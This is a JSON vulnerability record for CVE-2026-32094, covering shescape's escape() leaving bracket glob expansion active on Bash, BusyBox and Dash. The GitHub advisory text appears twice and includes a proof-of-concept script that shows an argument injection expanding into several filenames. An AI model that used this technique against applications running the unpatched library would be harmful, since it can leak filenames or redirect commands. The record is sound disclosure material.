{"id":"CVE-2026-32094","aliases":["EUVD-2026-11333","GHSA-9jfh-9xrq-4vwm"],"status":"published","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches. This vulnerability is fixed in 2.1.10.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00251,"percentile":0.16561,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2026-03-11T19:50:10Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"shescape","fixed_in":["2.1.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"shescape","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.10"}]}]},{"source":"osv","ecosystem":"npm","package":"shescape","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.10"}]}]}],"products":[{"vendor":"ericcornelissen","product":"shescape"},{"vendor":"shescape_project","product":"shescape"}],"references":[{"url":"https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/ericcornelissen/shescape/pull/2410","tags":["web"]},{"url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32094","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9jfh-9xrq-4vwm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32094.json","tags":["advisory"]},{"url":"https://github.com/ericcornelissen/shescape","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32094","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches. This vulnerability is fixed in 2.1.10.","status":"published","published":"2026-03-11T19:50:10.617Z","modified":"2026-03-12T19:54:17.725Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:19:57.100857Z"}],"euvd":[{"id":"EUVD-2026-11333","description":"Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches. This vulnerability is fixed in 2.1.10.","status":"published","published":"2026-03-11T19:50:10Z","modified":"2026-03-12T19:54:17Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:25:35.389351Z"}],"ghsa":[{"id":"GHSA-9jfh-9xrq-4vwm","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their “special characters” regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn’t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 \u003e/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - \u003c\u003c'NODE'\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf '\u003c%s\u003e\\\\n' ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n/usr/bin/dash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.","status":"published","published":"2026-03-11T19:53:53Z","modified":"2026-03-11T21:38:11Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-32094","description":"Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches. This vulnerability is fixed in 2.1.10.","status":"published","published":"2026-03-11T20:16:17.76Z","modified":"2026-06-17T10:35:07.427Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-32094","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches. This vulnerability is fixed in 2.1.10.","status":"published","published":"2026-03-11T19:50:10.617Z","modified":"2026-10-28T02:30:55.549429377Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"GHSA-9jfh-9xrq-4vwm","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their “special characters” regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn’t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 \u003e/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - \u003c\u003c'NODE'\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf '\u003c%s\u003e\\\\n' ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n/usr/bin/dash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.","status":"published","published":"2026-03-11T19:53:53Z","modified":"2026-03-13T11:41:24.990086Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}
